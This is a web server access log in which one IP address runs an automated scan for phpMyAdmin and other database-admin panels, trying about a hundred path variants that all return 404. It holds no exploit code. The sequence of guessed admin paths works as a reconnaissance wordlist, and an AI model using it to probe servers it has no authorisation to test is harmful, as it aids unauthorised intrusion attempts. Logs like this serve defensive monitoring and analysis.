85.244.166.12 - - [09/Feb/2020:23:06:52 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:52 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:53 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:53 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:53 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:53 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:53 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:54 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:54 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:54 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:54 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:55 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:55 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:55 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:55 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:56 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:56 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:56 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:56 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:57 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:57 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:57 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:57 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:58 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:58 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:58 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:58 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:58 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:59 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:59 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:59 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:59 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:00 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:00 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:00 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:00 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:00 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:01 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:01 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:01 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:01 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:01 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:02 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:02 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:02 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:02 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:02 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:03 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:03 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:03 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:03 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:04 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:04 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:04 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:04 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:04 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:05 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:05 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:05 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:07:05 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:08:07 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:07 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:07 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:07 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:08 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:08 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:09 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:09 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:09 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:10 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:10 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:10 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:11 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:11 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:11 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:11 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:12 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:12 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:12 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:14 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:14 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:14 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:15 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:15 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:15 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:15 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:16 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:16 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:16 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:16 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:17 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:17 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:17 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:18 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:18 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:18 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:18 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:19 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:19 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:19 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:19 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:20 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:20 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:08:20 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
